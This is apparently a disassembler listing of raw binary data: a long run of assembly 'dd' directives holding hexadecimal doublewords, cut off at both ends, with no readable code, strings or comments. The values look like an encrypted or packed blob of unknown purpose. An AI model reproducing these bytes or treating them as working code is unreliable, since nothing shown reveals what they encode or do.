0A046A7A1h dd 0B3CBE913h, 0F14A52A7h, 0FCFB20E4h, 0E21E7E69h, 0CB145D6Dh dd 0A3407298h, 0CAFA09B9h, 2C008558h, 181F57D8h, 85DA89Dh dd 3FBC5A12h, 8739A25Ah, 7A2977E9h, 29A6789Dh, 999837DEh dd 0E32257h, 0E480C2FEh, 0D1303EA7h, 81CB2724h, 483D0DBEh dd 0D5806B32h, 0C80A68FDh, 2B3C8BB1h, 0E725C367h, 2C44AC56h dd 19B89ACAh, 3C4E6880h, 0DBFE46E4h, 0D39A194Dh, 0B7EF9B97h dd 0A0083D54h, 1A39BD55h, 0CF2C3C71h, 0B904BB78h, 29954510h dd 150B00BEh, 0CA817DFEh, 6C316E14h, 0B1F203BCh, 1798267h dd 1370260Ch, 5358E92Ah, 0ACB153DFh, 2FB0425h, 612A8958h dd 0D8F689C2h, 4808CB93h, 45D12C8h, 0B253024Fh, 5B1C3A40h dd 6D17FB2h, 39FCE908h, 26015116h, 446273BCh, 9A022561h dd 9DA07DFEh, 4C2BCBF3h, 65827C64h, 81B3B104h, 385D1DCAh dd 6C24A312h, 50C7D27Eh, 0DCCD4DA3h, 0F2B2EC32h, 0A2663AEAh dd 6A7C510Ah, 1E4381Bh, 211F18EFh, 38E7D87Bh, 4E9E200Fh dd 81A077E9h, 1A2D0B58h, 0F45C0B09h, 0FDFC4012h, 7A461910h dd 1227E158h, 0ABAC36B1h, 55C600A5h, 3C2AC068h, 9CB424Bh dd 0C966B24Eh, 49AA046Bh, 2D0279E2h, 47F03F09h, 87D6DF41h dd 1C3DB9CDh, 0F1816420h, 0D72E3272h, 0F0487C8Eh, 4003B7BEh dd 0F0312A17h, 4C323A5Eh, 0A03DCB12h, 446EF79Ch, 0BA79C4B9h dd 0F44EF08Ah, 29D32F73h, 8C5C5D00h, 0B289F0B8h, 7C800142h dd 0A635273Fh, 317EC5F1h, 155F31B0h, 0B5E080D0h, 0D8728850h dd 5B58C11Fh, 2DC0C8D3h, 2C69A1B9h, 1291250Eh, 437AC9FAh dd 9C587Dh, 3349ABDh, 0E5812E63h, 41C90B9Fh, 9780C95Ah dd 7A1873CDh, 0FB0C6BCAh, 0C5EC405Ah, 7B685300h, 0E9EA3187h dd 0CB376706h, 3CE2C1C7h, 51122E9Bh, 4810A7A9h, 0B4257FB1h dd 0B547E96Bh, 547E805h, 488B088Eh, 2CFC28AEh, 96FB3959h dd 659C2185h, 0B1470420h dd 0B8E3C113h, 308702DCh, 404A2E6Bh, 0B4282DAh, 0D331157Fh dd 7631A85Ah, 0D685959h, 4AA7CAC7h, 6A885E51h, 73580368h dd 0C012E3Fh, 31E3719Ah, 0F0A0F701h, 47E92D08h, 6F5F4087h dd 0DFFF012h, 14016118h, 802E9BC8h, 41EEF828h, 69CD465Bh dd 3D25FE54h, 0D04FA6E2h, 2E6E6888h, 1279023Fh, 97402797h dd 0CCEC2DD8h, 9070999h, 0F8058C7h, 300E6B4Ch, 0E9DF3105h dd 0C2E3C11Fh, 0A0DB355Eh, 0A3B68DA4h, 0E50A5D09h, 4C5E1FE3h dd 0F45BBB9h, 0A1F2AF4Fh, 9A3B9124h, 0B553E21h, 0F4456809h dd 0C9C97AAh, 61EBCB80h, 0F87EC72Bh, 17D3890Ah, 5F040BEAh dd 40B25056h, 1E896882h, 0BB601CD6h, 160B238Bh, 885C3110h dd 65CB5B43h, 0A5027EE9h, 51403451h, 0B93EA068h, 88538784h dd 5BFC23D7h, 0B08FE5AAh, 9883EF29h, 851049CEh, 0B0582116h dd 0BE02C65Ch, 33D6693Dh, 46C27DFh, 0FFDE55h, 0CDC681ACh dd 1E4FD23Eh, 1A18EEF0h, 2E2C7C16h, 580C7360h, 94F6F9Ch dd 7E327894h, 13814F5Ah, 9F640A12h, 0B587A5CBh, 0E1C6896Fh dd 90E05B4Dh, 87872A84h, 42491AB9h, 449F8075h, 9836B835h dd 1A403CB5h, 1BE92609h, 6A599361h, 67AD303Dh, 42DD0F9h dd 32EB019Bh, 9C7838D2h, 2E336813h, 0DF13F7E3h, 41F6DA0Fh dd 98B5308Ch, 0DC661240h, 3EA5E812h, 83AD4A68h, 90F92C0Bh dd 184B9263h, 809EDE0Bh, 2C0CD828h, 58E104F8h, 2A204159h dd 95830C84h, 616A452h, 36D5F32Ch, 0EBA6544Bh, 5AD4E310h dd 285138A4h, 0B2CC5954h, 8A5F4B52h, 46605B21h, 0BDB0E9D6h dd 0C7680698h, 0F4A3B0Ch, 17922C5Bh, 0B06D3A56h, 0DB4CF7CFh dd 91F74074h, 5876A8BAh, 0BEC6D4Dh, 266FE88h, 0ADA98108h dd 0EBDD38C0h, 0BE19A2Ah, 0DB519AE9h, 112DB9C9h, 5442AE25h dd 0D589EE9Ch, 0BE6E82C2h, 46D8012Fh, 0A868167Fh, 278FA32Bh dd 80448160h, 88285BEAh, 28E4B5C2h, 0EF3529C0h, 3E444B5h dd 1D1CBF57h, 5EF66692h, 0D84A8DB6h, 59173E20h, 8B8DCF01h dd 4012D308h, 0E5B45ACEh, 5038DCA6h, 373D15Ah, 6666E926h dd 636BA81h, 916A05CFh, 261E00Dh, 5DA25DD2h, 58DB129Fh dd 521306A1h, 1868708Ch, 8E2D50D8h, 282B3EAh, 0A293D2h dd 5103E2C0h, 8F53663Fh, 0EBDD88D5h, 5C9C2BFAh, 0AD685A34h dd 419A55C9h, 0DD066A26h, 0A25A46Fh, 337E72CFh, 0D0FB3F53h dd 8A5421BAh, 0B418C52Dh, 712DFE0Ch, 0BA46CC2Eh, 0A661B038h dd 0B102BE46h, 464AB718h, 0F3812454h, 0A2AC0EDCh, 190AEAC0h dd 94B624A9h, 5008C214h, 788238D3h, 5D4D7993h, 796F79C0h dd 0D228EF0Bh, 0A9C108Eh, 9BE02CACh, 0E380FC07h, 17D3F683h dd 1CEBC004h, 5264C3A6h, 0F2B146B2h, 0FB0680BFh, 0E9D2B151h dd 0E24F5A15h, 0AB497824h, 2D994774h, 42620050h, 3FA3CA81h dd 0EE08302h, 0EB3F46F2h, 2C84554Ah, 8F2A1FEAh, 0E8234166h dd 0C1AF055Dh, 0F6E93EC8h, 0D1850FCAh, 338C0504h, 8BAAA8E2h dd 7CA1095Ch, 2CBE42DDh, 816CB955h, 2F181974h, 0B1A3414Dh dd 2B245CE4h, 66279AEFh, 0AC9E54F1h, 31D86929h, 4E89D67Ch dd 41DE7EB8h, 3F30D668h, 532D7CDAh, 4AA5357Bh, 317A4163h dd 0FBC954h, 0A9010556h, 896543DFh, 0EAFCA8D4h, 10743969h dd 23225000h, 1EFF781h, 296F83A5h, 3D8EE9FDh, 10C4481Dh dd 0B21C33F6h, 59EA0166h, 0CCFAC280h, 0E91760E2h, 6BE9FDD7h dd 541D22D2h, 0FB138082h, 36DDFA69h, 0ED800E4Fh, 2EF5657Bh dd 0BC957C2h, 673F9574h, 5077AD77h, 96CF3h, 62EE2D11h dd 0F4054BFEh, 419E5505h, 43D4CBE9h, 0C6184880h, 0E448BC43h dd 0C50712EAh, 0D77060C1h, 0B4C821FBh, 0E0478867h, 8DCF8100h dd 0C065F66Dh, 0BB55930Ch, 56024714h, 0A2411FBEh, 6312E071h dd 0EF33C0C8h, 571B7964h, 66DFB0B5h, 8E19921h, 29139B61h dd 0ACE128C0h, 626D2C7Ch, 1FEA1880h, 0A6B0D5F7h, 0ABA4E40h dd 340B5A88h, 227209C5h, 0F7C3DC56h, 0B124E7F9h, 48C1F5ACh dd 4425C82Eh, 80C865FDh, 39E168E1h, 0E911520Eh, 1C395945h dd 6A59DD2Eh, 596E5C21h, 519E237Bh, 3829D4C9h, 9F7A190h dd 153DEE04h, 836F317Bh, 80EC7CC6h, 1168C80Fh, 0C55B370h dd 809E9AC9h, 0FE73C77Ah, 5CC80ACBh, 0ED2D3CE8h, 0E1E81D49h dd 2911B1C5h, 0F4F6A8F7h, 9B31E4Fh, 580479CAh, 7F5C269h dd 30A17FC1h, 0E9249545h, 180F3CCh, 0BCC381EBh, 7FB4160Dh dd 254085Dh, 0DE59CB42h, 0F8666466h, 0C0E3C4DAh, 0CDC039BBh dd 0CCDD2BE2h, 40FA2A02h, 80DC0691h, 0F05CB753h, 2FC05B49h dd 0B03003B5h, 0F36E20CAh, 5326BE01h, 0F5293970h, 16ED2420h dd 0E04B0427h, 9812E1E9h, 95E876E5h, 42E31392h, 9183573h dd 70974055h, 0D182D42Fh, 6DB5984Ah, 0F7D6039Fh, 0ACCABFDEh dd 0DEE7C18Eh, 23E9DF92h, 8A40CE13h, 54E06DF8h, 0E9EA9C6Fh dd 6B87EE4Eh, 0E4D2FCC7h, 8B8ED703h, 0B80F1288h, 0D9FAE4F0h dd 6D0AE2C0h, 29341347h, 0BB5F08E9h, 45D660Fh, 50D0BF27h dd 919E781h, 4F12F414h, 171FC400h, 0CC03E7Eh, 82E0ABC8h dd 5FFB3989h, 5A73D0E2h, 0E454CD99h, 48973D86h, 94DA48F9h dd 6AE96FE0h, 0F746AFC0h, 8A4DD678h, 0AAE05A8Eh, 940BF208h dd 0C480076Eh, 0A4E50744h, 29AFE091h, 75DEE25h, 153CBA33h dd 835E1DF3h, 95A5FDEBh, 0E102BB09h, 145F3855h, 411444F0h dd 5509940h, 0DDAA69B8h, 4700FBD0h, 713CAD2Dh, 0D8011444h dd 295E0705h, 7046F82Bh, 2A6EF934h, 45803C81h, 29CBE350h dd 0F3E55C4Ah, 0B60F0516h, 272158EBh, 1D039FAh, 27684220h dd 0FE7169DCh, 0B4C8F2C9h, 23E950CDh, 3B27A6FBh, 0E0EE30Dh dd 0FC9AF101h, 60A4BA00h, 3122B40Bh, 211E31DAh, 0C814642Bh dd 1B409AD9h, 1C683553h, 3A07BF6Bh, 2A0077A9h, 0AAC50EE9h dd 9810C3C5h, 3BA52F8h, 1BEC421Ah, 413D2F7h, 0C71AEA87h dd 0CB9CC008h, 0CC582E43h, 47FCA634h, 3004888Bh, 0B7CC66E7h dd 27AEA102h, 75588932h, 5690102Fh, 144A0968h, 4F411931h dd 47A9BA00h, 81281700h, 0F37894E2h, 5855B84Bh, 5AC9B4CAh dd 0AE0529B2h, 0A100BE50h, 0E963AE7Ch, 0A4D54B58h, 1CC106E6h dd 77304BB3h, 14709B20h, 0C92FA903h, 820E7804h, 6802AA08h dd 482A4534h, 4812DBA7h, 0E113F7F6h, 72922747h, 1DC6F55Ah dd 7586BB09h, 4B3B4035h, 0D0E30181h, 0E9262710h, 6E093EC1h dd 0DC959031h, 605C8197h, 7D256860h, 2699DB76h, 281C2D2Dh dd 69586895h, 51579C29h, 0B17EDE8Bh, 7BED3FCFh, 0BBD88D14h dd 77C28BFh, 15C38009h, 4DFCF5D5h, 250BB83Ch, 46D04D1Fh dd 4F90B68Ch, 600D8527h, 7BBFC5BBh, 70B7650h, 6F334FF5h dd 4BCDC062h, 2E4AD952h, 0E907A718h, 0E104BD74h, 83DD8721h dd 1012DB40h, 0BC16E4D0h, 0F2E2FCD3h, 0FF664A5Ch, 0FE68CF81h dd 77622A5Eh, 0A6EC8055h, 0F87BE31Eh, 4D5F04FDh, 0D1D0CFE9h dd 6B59CA53h, 4E846234h, 0C42FB0E1h, 47F6FCh, 51EDEB80h dd 4BE9A5B1h, 0F19CD2DEh, 9448E5Dh, 0F757A234h, 0C88075D8h dd 0C06C052Dh, 0C5312E0Ch, 0D3CA8058h, 326E0451h, 0BDB119F3h dd 50A16BDCh, 18729261h, 0C1BAA76h, 0C15C21B7h, 7A2574h dd 3AF0D18h, 25533E3Fh, 7BA92B00h, 290B1335h, 952F0290h dd 0F698EEE5h, 94E84802h, 17C2E6D7h, 96F19C68h, 97C2A2Ah dd 16458668h, 759D932h, 0F440385Eh, 585F0FCh, 1017ADC0h dd 5A241AA2h, 4D6A2DBCh dd 0D1099660h, 0EF85F150h, 41343503h, 41CF2918h, 0AB2C0828h dd 0AF8910D6h, 0C9C0EF27h, 1204B3BBh, 0DF016D76h, 0E912FDCBh dd 0F76E44B7h, 125C80DDh, 0F5EBD68Ah, 4CE12878h, 0E5B74161h dd 0CB0A2B44h, 0C1816EBAh, 1F356C06h, 86D502Ah, 832C9D4Ch dd 0A5688419h, 23F4454Dh, 116D25AEh, 89104755h, 892D3DBBh dd 7C1CB035h, 0C9DD8801h, 6290B80Fh, 48093BA2h, 4C5B682Ch dd 0F7C51542h, 0F53FF014h, 0AEC99C3Dh, 88B18A5h, 146E727h dd 6F4BBB53h, 0EED1307Bh, 1E82A3D7h, 2F2DFEA2h, 0B380F6F3h dd 0AECB8043h, 1AB20552h, 0BA0BAAE9h, 0BD9A9461h, 351EEB04h dd 24C6BF09h, 1AE5247Bh, 5A4647Eh, 0A5B1D9DFh, 54523012h dd 8F62005h, 0E2380388h, 5895403Fh, 28FD4FBFh, 33A2F36h dd 1E5B5A46h, 0FA01CDD1h, 3A8D2E83h, 0C4F2A27h, 2D1C8E5h dd 0AD65AC66h, 5815A358h, 89B1259Bh, 1891D897h, 0A5466668h dd 5B81AD60h, 7FAB8A6Bh, 0C0D449h, 1312C0BFh, 0C9C4BA18h dd 0B05C290Bh, 12893E3h, 823EEADDh, 0F042757Fh, 5803DBEh dd 0A06A0B88h, 0B202D168h, 0D1FA1561h, 2D58A63Eh, 59106C06h dd 53296462h, 0ADD092DEh, 0AD4B9EE6h, 51E17EB7h, 99D3251h dd 50AB753h, 1412F6EEh, 0C94F5EAAh, 9CA4BC8Ch, 9A0682EFh dd 84B6F370h, 343DDE2h, 0E25EC201h, 430250E5h, 1D9A2A9h dd 0A0E555C3h, 90D2EB90h, 0B93B612Dh, 0D7F72200h, 3A9BB850h dd 485E2563h, 0F3A3F440h, 8B68EDCFh, 9C0D116h, 0AAD99411h dd 0D7232016h, 0CA194B05h, 625C8912h, 624DF4ECh, 8DEC4E9h dd 72D7812Fh, 0E1F62174h, 0D93E9B0Ch, 305D2103h, 61C0427Bh dd 0F62D53EDh, 3D0B870h, 9D4595Dh, 0F2F0DAF7h, 11091491h dd 6922E92Ch, 3680D559h, 8B76C7BFh, 5D2FEF29h, 0BE8CC04Fh dd 0B69F6353h, 7CE84663h, 514B19E9h, 5F9D5090h, 426A60CCh dd 32033CF6h, 0BF8DE930h, 0BB3A4D68h, 80571E42h, 3F4E3B74h dd 85B5B6E9h, 0EF25590Bh, 5B688923h, 1E840CDFh, 1F0FF2DDh dd 6918646Fh, 502160F8h, 17BE0556h, 0F935CD01h, 874A2C20h dd 0CA7222A4h, 6426D78h, 3DA435E9h, 6DE5F61Ch, 0E814014h dd 33C47B5Ch, 312F41ECh, 5750BEC4h, 0FD409F3Ch, 0F0537250h dd 92E75B55h, 23F8E6F1h, 31F740BDh, 0B4FBF4CDh, 0CFB81D31h dd 0AE124C93h, 70C37D40h, 9C6C2518h, 85039B1h, 61149C5Dh dd 50D22DE9h, 6E6C1A3h, 3CEE8103h, 173B5B44h, 0E25401ADh dd 43E90BD8h, 31D7113Dh, 7B818D7Bh, 0F734ED22h, 319F3C16h dd 96EAFBEh, 8C52BD5Dh, 0C9E75F4h, 0CA3DEB27h, 0FDF36A18h dd 34453E9Ch, 680C4272h, 0A3636AF7h, 588ABD0h, 3F9F0F1Dh dd 0B8802EE8h, 23C2798Ah, 6A72C09Fh, 0AEE4BDEDh, 55436818h dd 0D63FC049h, 47ACB0E9h, 13C72B12h, 0C442B6B0h, 0D121E90Fh dd 0FE01687Dh, 0B002AD79h, 0FF15B311h, 0E3C02A80h, 0D2E78003h dd 0EFB4F643h, 0B4C6A464h, 0B310066h, 0D3BD01C5h, 0FE5B3AF4h dd 4EE7D910h, 5BE99845h, 0CE5E2DFCh, 54530B94h, 0E9D4565Bh dd 4C96FF4h, 11336B3h, 0C160C9EBh, 8CC03A28h, 0B8224875h dd 49EF095Eh, 16768252h, 25E6D738h, 687D8056h, 587B3912h dd 0BA17B661h, 3CDE8C21h, 14390995h, 14E595ACh, 72EEBF34h dd 74092971h, 0D4686154h, 57422622h, 0C4C57DAh, 0A89158E9h dd 7D740905h, 0B1789DFBh, 6AD18927h, 0A5855117h, 5C4469D1h dd 584E37C8h, 0F0D8EF0Dh, 0EBBACC44h, 63A9EF25h, 0BB40D9A1h dd 5C3726Bh, 0D841CCECh, 4BABFA00h, 0E4127BD2h, 5820C905h dd 634A4052h, 0AC9796E2h, 0E955C2C9h, 0FFA25F8Eh, 0C2E61886h dd 0F9419198h, 0DE95A88Bh, 179C20CEh, 9CDBF952h, 0ECAA12E9h dd 6169209h, 0D4B4A4ECh, 0FE7C347h, 0DEF6BF02h, 5EF08850h dd 0BD3A34DCh, 6B20F4FDh, 3745E980h, 7204D9F6h, 0ADE117F1h dd 86618F12h, 78D10BF9h, 0C2082409h, 0D14C13F1h, 3905F6Ch dd 6DAFD857h, 85145AECh, 16513F0h, 1702A843h, 0A8E0008h dd 0E96B08F3h, 6C2CFE76h, 41AE7B12h, 61872487h, 135C73C3h dd 7BF841D3h, 3C784789h, 56699C9Ch, 0D1F12DB0h, 0BE6610ADh dd 0C36817C8h, 52993236h, 6CD2EB41h, 0E892A56Dh, 9522F063h dd 0ECD34A42h, 4CCA2627h, 56C9E35h, 0AF448F68h, 6D5F9130h dd 0C9635ED2h, 3EEA319Fh, 2671E316h, 5902AB44h, 6B55AD4Ah dd 0AD0F4AD1h, 0F7E90BDFh, 5C9AF29Dh, 0A4C4790Fh, 120C0834h dd 539EC1F2h, 0F960AD81h, 0AEA09B2h, 0FD720FF4h, 0B1746F05h dd 66CBC014h, 7BC95955h, 0B06C864Eh, 78D0BE02h, 1ED84E9Ch dd 0A0150125h, 0CA776DA6h, 3BF0ED0Eh, 71BD0021h, 1E26850h dd 584B36CBh, 2083D9F1h, 38530878h, 3C41F9EBh, 181CA008h dd 282418D1h, 296530B8h, 9FC56846h, 18FC130h, 4AEB25E9h dd 84FC939Ch, 0F62E3BBAh, 2717D6D3h, 8D004DA9h, 0F7175C41h dd 0CF0781D7h, 67CB2186h, 404CEF60h, 0B1A7C1Dh, 0A05EC7E7h dd 3C01FCD0h, 0E9E4975Ah, 8E53EA08h, 0E48EF39Fh, 508726EDh dd 0C7797416h, 0D3A7A1C9h, 5FA12A6Dh, 0A85C856Eh, 0BA2D0214h dd 98605474h, 0E661B1Fh, 535742BCh, 0CB1858E1h, 0FDE9304Eh dd 72395601h, 0A917E94Bh, 0A2C5446Fh, 0C001090Ch, 165282B6h dd 0B25970DFh, 807E2D5Ch, 0A9CD81DDh, 28561615h, 104FB945h dd 6F50FAA8h, 92F5F140h, 60C0C92Fh, 8080C896h, 5BA078E1h dd 0BB74177Ch, 359C7605h, 79EDE401h, 0FCD44452h, 5B3A9FD3h dd 517C2AC2h, 0A1FD2754h, 26C3FB93h, 66584B28h, 7965948Ah dd 552C926h, 0F6C8FDD3h, 0EE48A152h, 23FF5608h, 0C34B74D6h dd 0E8011156h, 2694138Eh, 9538E1F4h, 8659A09Ah, 0E1705F45h dd 1CD03F1Eh, 82CB3154h, 0EB1DE9D9h, 2844475Eh, 0C380B990h dd 0CD995AEh, 304AF5A8h, 5D588E22h, 0A8948468h, 2BD42C5h dd 2B246DABh, 0EDB07344h, 0DB8D8746h, 4D26FB7Ch, 96BE3F9Ah dd 0CEE4F123h, 0A07E0B36h, 3370F70Ah, 3C574500h, 0DB71BACBh dd 0C9D852F6h, 43E46B76h, 9E09A359h, 48A97A3Eh, 8607B802h dd 0E53404D8h, 0E6E2B414h, 0B4710558h, 1482CA64h, 70C556ABh dd 174BC068h, 0B0502D98h, 14BF00AAh, 45B81FEAh, 0E06115EBh dd 1B76CC16h, 3FCA3F30h, 11B078A0h, 7369B90Ch, 9CE92E13h dd 0B02A88B1h, 7BF25A9Fh, 0A012F469h, 0C0FE692Ch, 0C23EE72Ch dd 0E9F06E14h, 0E10DB3B5h, 8F69F196h, 0BDB71212h, 0F2810101h dd 0F57B703Ah, 0EEA33E92h, 0E48F0332h, 43C3286Eh, 0C60AC79Ah dd 2FAEE251h, 1F62C7CAh, 29F3ED48h, 59798916h, 5F07B210h dd 685BE4C0h, 37735F7Ch, 0BF45F060h, 0E9125307h, 0B9CD3ECFh dd 7F51DB02h, 82AC7595h, 2D8D6A08h, 0E81763E5h, 0FBFD0FD3h dd 1C9CBEEh, 4C6435E7h, 2909176Bh, 90F51D90h, 57058389h dd 58F45329h, 0C4C0A10Bh, 4EECF066h, 1331E39Bh, 0E5921958h dd 239D8A6h, 41120968h, 63685D1Bh, 440EE581h, 0DE2BD159h dd 1018035Ch, 255DEB9Ch, 83D61801h, 7D2C605Ah, 0DBD1CB37h dd 0EA81BA23h, 4A1F6970h, 0B68CD2F7h, 0CE21D97h, 2F55691h dd 0DF17B928h, 0AAC6E4D3h, 0ABE92506h, 0BA5CA204h, 0CEDB83Dh dd 71B7D39Eh, 25D98658h, 0CF88D09Dh, 0AF4B97FAh, 4D787FB2h dd 113635Ah, 9C6B05EFh, 0D2EEB343h, 0E90CABCAh, 57F5468Dh dd 0D76921B8h, 0C9468F06h, 0AD0CAE71h, 0C6C916Fh, 2B352D4Bh dd 13755FE0h, 3490947h, 132F8D97h, 0F5B2E98Bh, 920FBB77h dd 9A0156D3h, 0A0D55F40h dd 0B56F6ECFh, 989DAB4Ah, 1B508605h, 66552A79h, 0C72C448Fh dd 49A93BC4h, 83C89805h, 0B322A8EFh, 7D317C16h, 0A6B83492h dd 2628F065h, 307E1E1Fh, 2081FA57h, 99DC9704h, 2D69BFD4h dd 5068B08h, 0DD72C166h, 38FD417Eh, 0D844B01Ch, 6112A9F5h dd 0DAC49D2Ah, 5ACBC3EDh, 2EACF5B8h, 0F84EA0BFh, 950804CBh dd 50030F9h, 9F1C276Bh, 36309F50h, 69B53235h, 0A4073AEEh dd 0D0D6C906h, 0C85B67F9h, 9935E283h, 5022801h, 2972B340h dd 0E94F661Dh, 99DCC83Dh, 458B77D6h, 0F302478Fh, 0AE0F8A7Ah dd 0F861B675h, 896F141Dh, 71EE30CFh, 0F24BEB25h, 0B2B1F6DCh dd 0CD680498h, 0C21C8B1Bh, 34DF4184h, 0B9E2C04Fh, 334E4085h dd 39C7E924h, 13674A5h, 1A32577Ah, 796E9A41h, 13145F0Fh dd 0CAB728FCh, 1680FF12h, 7486276Eh, 4F76E988h, 489EA2BAh dd 2BD219D0h, 3007EBCFh, 15027587h, 10CF0158h, 16DE9182h dd 5F17C23Bh, 2FC01E7Dh, 6458EE68h, 843C9A97h, 5002A53Dh dd 0FD534B4h, 14DAE78h, 33E958E2h, 0F3815B81h, 304C57AEh dd 0AB09C322h, 5C8479B6h, 0C6010B92h, 3A08FDE7h, 74046F1Ah dd 50F2A31Ch, 61602EFBh, 0B1DD7954h, 61B8B501h, 364B67E9h dd 601CE749h, 0C4DF09FCh, 1235F41Ch, 0A012D9A8h, 0D7AD49EEh dd 0B559CDD6h, 5A710A3Bh, 70FCD295h, 579D9B89h, 0E91390B4h dd 1C34F158h, 1A1D79D0h, 4C7F4EF5h, 296F070Dh, 4805F82Fh dd 4AC789E7h, 42E51D58h, 0D3F58F10h, 0DAE74970h, 56A38565h dd 0C16CE98Bh, 75375C83h, 429ECD4Bh, 0D4565646h, 0E20E9C1h dd 0F9069132h, 0C43D665h, 73D40B09h, 0DE30786Dh, 0E002424Ah dd 0BCC3D123h, 482EC090h, 6EA7E48h, 22AF74B8h, 4C2C060Ch dd 274110B4h, 64670B16h, 0E67A68E8h, 90315EDDh, 7A66E696h dd 9367FB3Fh, 58FC8AD6h, 89FD64A1h, 68C717h, 0EFC1101Ah dd 989AAB03h, 0E509FEDAh, 1C32133Ah, 40C2AE2Ch, 52016887h dd 2FE7E69Dh, 0B384990h, 0A293D012h, 0F8884C0Ah, 5020F2E8h dd 0CB4DF30Fh, 0DE0104D2h, 4E28EEE3h, 0CA38009Eh, 0F0897503h dd 0C148215Eh, 2B688288h, 0DD6D8402h, 0F316FB1Eh, 58E52C5h dd 0D6F7CDh, 6E7F7B8Eh, 0B6E34630h, 0EC82D758h, 6A2F174Fh dd 975A08E8h, 52D6B901h, 0C1707E57h, 0EECB518h, 58CF897h dd 6C80697Ah, 7ED50C59h, 9790890Fh, 0C6907F5Fh, 286603C1h dd 60DB55DBh, 3A222C05h, 1EC304E8h, 0C906E5CFh, 8A60CA29h dd 705A81C4h, 93B79AE6h, 0CA5EF278h, 0DDC75DA8h, 0A2C5E989h dd 57632C45h, 0BCAF2D04h, 81AD00D3h, 0FA68D1EEh, 0FE14B57Eh dd 12B8BD06h, 32865B5h, 621E6B13h, 0BAB434E9h, 4695CE37h dd 7F4DC2E1h, 0B36437E9h, 0F5881C51h, 66EBDD53h, 14591960h dd 0F25520C5h, 0F74A209Ah, 9F8487BDh, 0BA72EF11h, 8B246DD5h dd 79F6BE68h, 0A101086Fh, 0CB9B0B95h, 296FA15Eh, 0A3ECAAC0h dd 5F18BA04h, 21C0B7C7h, 9D531F78h, 0B133DE85h, 9ED52027h dd 59C023FEh, 0B551EB28h, 0E1D6E153h, 8005F938h, 0B93EC44Bh dd 0AEBF3900h, 0E9EEBDF5h, 0AF315C92h, 0F8E5CD9Dh, 98E7C12Eh dd 0E28BB672h, 0B0E89047h, 1DA54D96h, 5AA79A5Bh, 417F74B0h dd 0E8B7E0ACh, 0BEF78006h, 2DE4EFC0h, 0B4692BD3h, 17CC2B02h dd 0C83B2D66h, 2E30050h, 0C3D38752h, 2C44DB29h, 0D02A3EE8h dd 878D34DAh, 8389EAE9h, 0E9824733h, 60DC22D1h, 133AC150h dd 0FC25D346h, 8E928A8h, 17D6D4A0h, 5A3B1997h, 6E09A23Ah dd 2F437381h, 0F9515866h, 913F3813h, 0A59368D3h, 0EFC6D49Ch dd 3E905BABh, 190BBAC3h, 0E229791Ch, 0C7080CD5h, 80C44AE9h dd 18D5BF03h, 0A54F0A2Eh, 0F5EF2B02h, 9A5D2B0h, 724B27AFh dd 781CE70h, 0F50E3B5Bh, 27AA55D0h, 282B5354h, 0E90F404Dh dd 5BC0804Fh, 70B597B0h, 58C50D06h, 6004DDF6h, 0D4EEF813h dd 0EEE4801Ch, 634CCDDh, 0A1F0C381h, 66AD8C6Eh, 834B294Bh dd 2D90545Eh, 0D9693ED1h, 0E1F1934Fh, 0A5096BF5h, 603F8EEBh dd 0D858DAC0h, 27E89D01h, 707B2F16h, 7D8A555Eh, 3A32294Eh dd 0D9F7C704h, 0B44C17F4h, 5A133E11h, 9630AB38h, 69BF5BA9h dd 8955AB5Eh, 0EF0390B1h, 0AE4C1EC2h, 810DD215h, 7C1D6856h dd 34DD4F72h, 72D96883h, 0C0522EEh, 6655210Ah, 0A3E929B0h dd 140C4108h, 46500C2Eh, 8B09E641h, 9C5ED574h, 14130F86h dd 0EDCA11CCh, 0FB9C07E1h, 0ACA04E9h, 0D912DC5Bh, 12A4A708h dd 3901FB5Fh, 8708EEC1h, 3BB57CCEh, 0CD00A7CCh, 898E4D43h dd 322FE9F5h, 0C81F4A8Dh, 82885638h, 2B09E6F6h, 91F394DAh dd 1BB508F0h, 10122B24h, 2D5FF2E8h, 88B3DDDh, 42E51E9h dd 0EB32FF5Dh, 49E17B25h, 8EECE62Fh, 87B5340Ah, 561B2248h dd 154051Eh, 0F401FED3h, 5EFB6C1Eh, 0DDF1FD50h, 0A8B027C1h dd 94E21A48h, 644B65A0h, 0C0F6130h, 3EDB3A37h, 0FD51011Ch dd 820C0806h, 7739FF14h, 910A07A3h, 0D9E78509h, 0B5569289h dd 52E8F953h, 60555FA6h, 251C82C8h, 0AC5462B8h, 322DE904h dd 71A12CB8h, 0CB2900CFh, 0CA919059h, 8A1D104h, 660D4923h dd 0BFE424BEh, 0C140ABC7h, 228E2AE1h, 0D5EC180h, 0A8F9DC30h dd 32567BAh, 7BD6F201h, 0EFBE2756h, 0FC352A7Bh, 58E9D6A4h dd 0CA80F51Dh, 606F3893h, 0C11768D7h, 6B00B2BCh, 8147F529h dd 101667CFh, 61133B5Bh, 2BFA865Dh, 0CE88A3C2h, 0D2F707B9h dd 32D83792h, 97E9F281h, 0AAED44DFh, 0B5C36C98h, 82BC31CEh dd 62AA8509h, 3CBE656Fh, 0AB1F8815h, 4E8AB010h, 317B00A3h dd 0B33BF7A3h, 65323B11h, 2604DFB7h, 80AF8482h, 5CC980ABh dd 972AB692h, 0CD049535h, 120A3F6Ah, 75DDC7C0h, 0E99209EDh dd 6771B92Eh, 844B93A8h, 0CB851412h, 1E6228FFh, 0B64E1A40h dd 9D8284Ah, 9D0E3A5Ch, 5455127Dh, 0BBA245F5h, 0C02DC483h dd 0EA590731h, 89DD1243h, 0EFFB1B7h, 0C9E15A9Bh, 4D22CC3Fh dd 0A43AAE41h, 0BE0BEA84h, 8BC34495h, 2EBC057Eh, 2D7B85CAh dd 0C14403ECh, 1D15834Dh, 55A64D5Ah, 6D065824h, 58241B2Ah dd 0EB0058EFh, 7974204Bh, 3959B3E9h, 25F491E2h, 0D2715235h dd 0A2CFEEEh, 5E25404Dh, 0F5F0C7FAh, 82DC994Ch, 75FC1339h dd 100A7080h, 95A05634h, 0F91F0833h, 8B28292Dh, 2E09F706h dd 40BAA33Eh, 0BA0552D1h, 4C94736Bh, 10F88C0h, 1742F2A6h dd 414554E9h, 0C42CD8BEh, 78A7E952h, 9F984A65h, 0E3024AD8h dd 46E81186h, 266FEA00h, 0F229755Eh, 8A0C2F0h, 8A9F9AE9h dd 29C54FFEh, 257DFC1h, 934CED15h, 0D892F9ADh, 3E4A5C5Ah dd 0B9D63FFCh, 81CB845Ch, 0D28446ECh, 19BF4C3Ch, 1CDA4CF7h dd 0F627FE20h, 0B9BF74D5h, 0DBF8C4A7h, 0DCEF2833h, 90244B9Fh dd 123EBD66h, 454E9E01h, 7AE9EDD1h, 0F2CB402Ah, 22EF1784h dd 